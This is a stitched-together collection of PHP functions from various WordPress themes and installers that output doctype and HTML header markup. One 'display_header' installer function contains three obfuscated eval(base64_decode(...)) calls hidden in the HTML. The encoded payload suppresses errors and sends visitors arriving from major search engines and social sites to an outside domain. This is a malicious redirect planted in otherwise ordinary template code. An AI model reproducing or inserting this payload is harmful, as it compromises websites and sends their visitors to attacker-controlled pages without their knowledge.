function genesis_do_doctype() { ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> ; charset=<?php bloginfo('charset'); ?> " /> <?php }
/** * Setup Wizard Header */ public function setup_wizard_header() { ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WP ERP › Setup Wizard', 'wp-erp'); ?> </title> <?php wp_print_scripts('erp-setup'); ?> <?php do_action('admin_print_styles'); ?> <?php do_action('admin_head'); ?> </head> <body class="erp-setup wp-core-ui"> <h1 class="erp-logo"><a href="http://wperp.com/">WP ERP</a></h1> <?php }
/** * Setup Wizard Header */ public function setup_wizard_header() { ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WooCommerce › Setup Wizard', 'woocommerce'); ?> </title> <?php wp_print_scripts('wc-setup'); ?> <?php do_action('admin_print_styles'); ?> </head> <body class="wc-setup wp-core-ui"> <h1 id="wc-logo"><a href="http://woothemes.com/woocommerce"><img src="<?php echo WC()->plugin_url(); ?> /assets/images/woocommerce_logo.png" alt="WooCommerce" /></a></h1> <?php }
function wpsight_do_doctype() { ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!--[if IE 7 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie7" <?php language_attributes('xhtml'); ?> "> <![endif]--> <!--[if IE 8 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie8" <?php language_attributes('xhtml'); ?> > <![endif]--> <!--[if (gte IE 9)|!(IE)]><!--><html xmlns="http://www.w3.org/1999/xhtml" class="not-ie8" <?php language_attributes('xhtml'); ?> > <!--<![endif]--> <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> ; charset=<?php bloginfo('charset'); ?> " /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?> " /><?php }
/** * Display install header. * * @since unknown * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl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JHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); wp_admin_css('install', true); ?> </head> <body> <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcn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vY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); }
function thesis_html_framework() { global $thesis_design; echo apply_filters('thesis_doctype', '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">') . "\n"; ?> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <?php thesis_head::build(); echo "<body" . thesis_body_classes() . ">\n"; #filter thesis_hook_before_html(); #hook if ($thesis_design->layout['framework'] == 'page') { thesis_framework_page(); } elseif ($thesis_design->layout['framework'] == 'full-width') { thesis_framework_full_width(); } else { thesis_framework_page(); } thesis_ie_clear(); thesis_javascript::output_scripts(); thesis_hook_after_html(); #hook echo "</body>\n</html>"; }
/** * Display install header. * * @since 2.5.0 * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); ?> </head> <body<?php if (is_rtl()) { echo ' class="rtl"'; } ?> > <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php }
/** * Display install header. * * @since 2.5.0 * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); ?> </head> <body class="wp-core-ui<?php if (is_rtl()) { echo ' rtl'; } ?> "> <h1 id="logo"><a href="<?php esc_attr_e('http://wordpress.org/'); ?> "><?php _e('WordPress'); ?> </a></h1> <?php }
/** * Overrides the default Genesis doctype with IE and JS identifier classes. * * See: http://html5boilerplate.com/ * * @since 2.2.4 */ function bfg_do_doctype() { if (genesis_html5()) { ?> <!DOCTYPE html> <!--[if IE 8]> <html class="no-js lt-ie9" <?php language_attributes('html'); ?> > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" <?php language_attributes('html'); ?> > <!--<![endif]--> <head> <meta charset="<?php bloginfo('charset'); ?> "> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!-- <meta name="format-detection" content="telephone=no"> --> <?php } else { genesis_xhtml_doctype(); } }
function child_do_doctype() { ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!--[if lt IE 7 ]> <html class="ie6" xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <![endif]--> <!--[if IE 7 ]> <html class="ie7" xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <![endif]--> <!--[if IE 8 ]> <html class="ie8" xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <![endif]--> <!--[if IE 9 ]> <html class="ie9" xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <html class="" xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <!--<![endif]--> <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> ; charset=<?php bloginfo('charset'); ?> " /> <?php }
/** * Doctype Declaration * * @since Photo Perfect 1.0 * */ function photo_perfect_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> ><?php }
/** * Doctype Declaration * * @since Magzimum 1.0 * */ function magzimum_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> ><?php }
/** * Doctype Declaration * * @since WEN Business 1.0 * */ function wen_business_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> ><?php }
/** * Doctype Declaration * * @since Biography 1.0.0 * * @param null * @return null * */ function biography_doctype() { ?> <!DOCTYPE html><html <?php language_attributes(); ?> > <?php }
function supermag_doctype() { ?> <!DOCTYPE html><html <?php language_attributes(); ?> > <?php }
/** * Doctype Declaration * * @since Create 2.1 * */ function create_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> > <?php }
/** * Doctype Declaration * * @since Catch Adaptive 0.1 * */ function catchadaptive_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> > <?php }
/** * Adds HTML5 doctype and tags to the header. * * @since 0.1.0 */ public function wpgo_custom_before_head() { ?> <!doctype html> <html <?php language_attributes(); ?> > <?php }
function login_header($title = 'Login', $message = '', $wp_error = '') { global $error; if ( empty($wp_error) ) $wp_error = new WP_Error(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <title><?php bloginfo('name'); ?> › <?php echo $title; ?></title> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <?php wp_admin_css( 'css/login' ); wp_admin_css( 'css/colors-fresh' ); ?> <script type="text/javascript"> function focusit() { document.getElementById('user_login').focus(); } window.onload = focusit; </script> <?php do_action('login_head'); ?> </head> <body class="login"> <div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1> <?php if ( !empty( $message ) ) echo apply_filters('login_message', $message) . "\n"; // Incase a plugin uses $error rather than the $errors object if ( !empty( $error ) ) { $wp_error->add('error', $error); unset($error); } if ( $wp_error->get_error_code() ) { $errors = ''; $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data($code); foreach ( $wp_error->get_error_messages($code) as $error ) { if ( 'message' == $severity ) $messages .= ' ' . $error . "<br />\n"; else $errors .= ' ' . $error . "<br />\n"; } } if ( !empty($errors) ) echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n"; if ( !empty($messages) ) echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n"; } } // End of login_header()
/** * Doctype Declaration * * @since eVision Corporate 1.0.0 * * @param null * @return null * */ function evision_corporate_doctype() { /*Getting saved values start*/ $GLOBALS['evision_corporate_customizer_all_values'] = coder_get_customizer_all_values(); /*Getting saved values end*/ ?> <!DOCTYPE html> <html <?php language_attributes(); ?> > <?php }
function bizz_html_header() { global $post; echo apply_filters('bizz_doctype', '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">') . "\n"; #filter ?> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <?php // HEAD echo "<head" . apply_filters('bizz_head_profile', ' profile="http://gmpg.org/xfn/11"') . ">\n"; #filter echo '<meta http-equiv="Content-Type" content="' . get_bloginfo('html_type') . '; charset=' . get_bloginfo('charset') . '" />' . "\n"; #wp if (!is_admin()) { if (is_singular() && comments_open() && get_option('thread_comments') == 1) { wp_enqueue_script('comment-reply'); } } #wp do_action('bizz_head_before'); #hook do_action('bizz_head_title'); #hook do_action('bizz_head_meta'); #hook do_action('bizz_head_stylesheets'); #hook do_action('bizz_head_links'); #hook do_action('bizz_head_scripts'); #hook wp_head(); #wp #hook do_action('bizz_head_after'); #hook echo '<link rel="pingback" href="' . get_bloginfo('pingback_url') . '" />' . "\n"; #wp echo "</head>\n"; #END <head> tag // BODY echo "<body " . apply_filters('bizz_body_class', 'class="' . implode(' ', get_body_class()) . '"') . ">\n"; #filter do_action('bizz_body_after'); #hook do_action('bizz_head_grid'); #hook }
/** * Header Extensions * * @package cleanyetibasicCoreLibrary * @subpackage HeaderExtensions * * * Display the DOCTYPE * * Filter: cleanyetibasic_create_doctype */ function cleanyetibasic_create_doctype() { ?> <!DOCTYPE html> <!--[if IE 9]><html class="lt-ie10" <?php language_attributes(); ?> > <![endif]--> <html class="no-js" <?php language_attributes(); ?> > <?php }
/** * Get standard HTML head for user in header.php * This function is needed if header.php is used in child themes */ function pl_standard_head($content) { ?> <!DOCTYPE html> <html class="no-js" <?php language_attributes(); do_action('the_html_tag'); ?> > <head> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> ; charset=<?php bloginfo('charset'); ?> " /> <?php printf(apply_filters('pl_xfn', '<link rel="profile" href="http://gmpg.org/xfn/11" />' . "\n ")); printf(apply_filters('pl_mobile_viewport', '<meta name="viewport" content="width=device-width, initial-scale=1">' . "\n")); ?> <?php wp_head(); ?> </head> <body <?php body_class(pl_scheme_class('site_scheme')); ?> ><?php pl_hook('pagelines_before_site'); ?> <div id="site" class="site-wrap" ><?php pl_hook('pagelines_before_page'); ?> <div class="site-wrap-pad"><?php pl_hook('pagelines_site_wrap'); ?> <div id="page" class="page-wrap"><?php pl_hook('pagelines_page'); ?> <div class="page-wrap-pad"><?php pl_hook('pagelines_before_main'); ?> <?php echo $content; ?> <?php }
/** * * Function used to generate the DOCTYPE of the document * **/ function dynamowp_html_attributes_hook() { // generate the <html> language attributes global $dynamo_tpl; language_attributes(); // generate the prefix attribute if (get_option($dynamo_tpl->name . '_opengraph_use_opengraph') == 'Y') { echo ' prefix="og: http://ogp.me/ns#"'; } // generate the cache manifest attribute if (trim(get_option($dynamo_tpl->name . '_cache_manifest', '')) != '') { echo ' manifest="' . trim(get_option($dynamo_tpl->name . '_cache_manifest', '')) . '"'; } // YOUR HOOK CODE HERE }
/** * tarski_language_attributes() - Outputs lang and xml:lang attributes * * Replaced WP's language_attributes() function because its output was * not XHTML compatible; now deprecated because backwards compatibility * is no longer a concern. * @link http://trac.wordpress.org/changeset/6408 * @see language_attributes() * @since 2.0.5 * @deprecated 2.1 * @return string */ function tarski_language_attributes() { _deprecated_function(__FUNCTION__, '2.1', language_attributes()); $output = ''; $def_lang = get_bloginfo('language'); $lang = 'en'; if ($def_lang) { $lang = $def_lang; } if ($dir = get_bloginfo('text_direction')) { $output = "dir=\"{$dir}\" "; } $output .= "lang=\"{$lang}\" xml:lang=\"{$lang}\""; echo $output; }
/** * Establishes the theme HTML attributes * * @since 1.0 */ function response_html_attributes() { ?> <!doctype html> <!--[if lt IE 7 ]> <html class="ie6"> <![endif]--> <!--[if IE 7 ]> <html class="ie7"> <![endif]--> <!--[if IE 8 ]> <html class="ie8"> <![endif]--> <!--[if IE 9 ]> <html class="ie9"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <html class=""> <!--<![endif]--> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?> > <head profile="http://gmpg.org/xfn/11"> <?php }
/** * Display install header. * * @since unknown * @package WordPress * @subpackage Installer */ function display_header() { header( 'Content-Type: text/html; charset=utf-8' ); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body> <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php }//end function display_header();
function genesis_html5_doctype() { ?> <!DOCTYPE html> <html <?php language_attributes('html'); ?> > <head> <meta charset="<?php bloginfo('charset'); ?> " /> <?php }
/** * jbst Doc Type. * * Create the doc type and initial meta tags. * * @since 2.0.6 * * @return void */ function jbst_doc_type() { ?> <!DOCTYPE html> <html <?php language_attributes(); ?> > <head> <meta charset="<?php bloginfo('charset'); ?> " /> <meta name="viewport" content="width=device-width" /> <?php }
/** * Display the html tag and attributes * Override: childtheme_html * Filter: seamless_html_class for including a class attribute string */ function seamless_html($class_att = FALSE) { $html_class = apply_filters('seamless_html_class', $class_att); ?> <html class="<?php if ($html_class) { echo $html_class; } ?> " <?php language_attributes(); ?> > <?php }